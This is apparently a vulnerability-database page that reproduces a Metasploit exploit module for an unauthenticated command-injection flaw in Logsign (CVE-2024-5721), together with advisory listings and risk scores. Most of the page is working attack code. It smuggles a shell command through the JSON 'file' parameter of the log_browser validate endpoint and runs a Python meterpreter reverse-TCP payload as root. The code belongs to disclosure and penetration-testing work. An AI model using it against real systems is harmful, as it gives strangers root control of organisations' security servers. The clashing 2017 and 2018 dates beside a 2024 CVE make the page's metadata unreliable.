Logsign Remote Command Injection
🗓️ 26 Feb 2017 00:00:00Reported by Mehmet Ince <[email protected]>Type
metasploit🔗 www.rapid7.com👁 15 Views
| Reporter | Title | Published | Views | Family All 10 |
|---|---|---|---|---|
| CVE-2024-5721 | 29 May 201815:50 | – | circl | |
| Logsign Unified SecOps Platform 访问控制错误漏洞 | 22 Nov 202400:00 | – | cnnvd | |
| CVE-2024-5721 | 22 Nov 202420:05 | – | cve | |
| CVE-2024-5721 Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability | 22 Nov 202420:05 | – | cvelist | |
| EUVD-2024-47128 | 3 Oct 202520:07 | – | euvd | |
| CVE-2024-5721 | 22 Nov 202420:15 | – | nvd | |
| CVE-2024-5721 | 22 Nov 202420:15 | – | osv | |
| PT-2024-37098 · Logsign · Logsign Unified Secops Platform | 12 Jun 202400:00 | – | ptsecurity | |
| CVE-2024-5721 Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability | 22 Nov 202420:05 | – | vulnrichment | |
| Logsign Unified SecOps Platform Missing Authentication Remote Code Execution Vulnerability | 12 Jun 202400:00 | – | zdi |
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Logsign Remote Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in Logsign.
By exploiting this vulnerability, unauthenticated users can execute
arbitrary code under the root user.
Logsign has a publicly accessible endpoint. That endpoint takes a user
input and then use it during operating system command execution without
proper validation.
This module was tested against 4.4.2 and 4.4.137 versions.
},
'License' => MSF_LICENSE,
'Author' => [
'Mehmet Ince <[email protected]>' # author & msf module
],
'References' => [
['CVE', '2024-5721'],
['URL', 'https://pentest.blog/unexpected-journey-3-visiting-another-siem-and-uncovering-pre-auth-privileged-remote-code-execution/']
],
'Privileged' => true,
'Platform' => ['python'],
'Arch' => ARCH_PYTHON,
'DefaultOptions' => {
'payload' => 'python/meterpreter/reverse_tcp'
},
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2017-02-26',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
)
)
end
def check
p_hash = { :file => "#{rand_text_alpha(15 + rand(4))}.raw" }
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
if res && res.body.include?('{"message": "success", "success": true}')
Exploit::CheckCode::Vulnerable('The target is vulnerable')
else
Exploit::CheckCode::Safe('The target is not vulnerable')
end
end
def exploit
print_status("Delivering payload...")
p_hash = { :file => "logsign.raw\" quit 2>&1 |python -c \"#{payload.encoded}\" #" }
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api', 'log_browser', 'validate'),
'ctype' => 'application/json',
'data' => JSON.generate(p_hash)
)
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Feb 2017 00:00Current
8.3High risk
Vulners AI Score8.3
CVSS 3.18.1
CVSS 38.1
EPSS0.0583
SSVC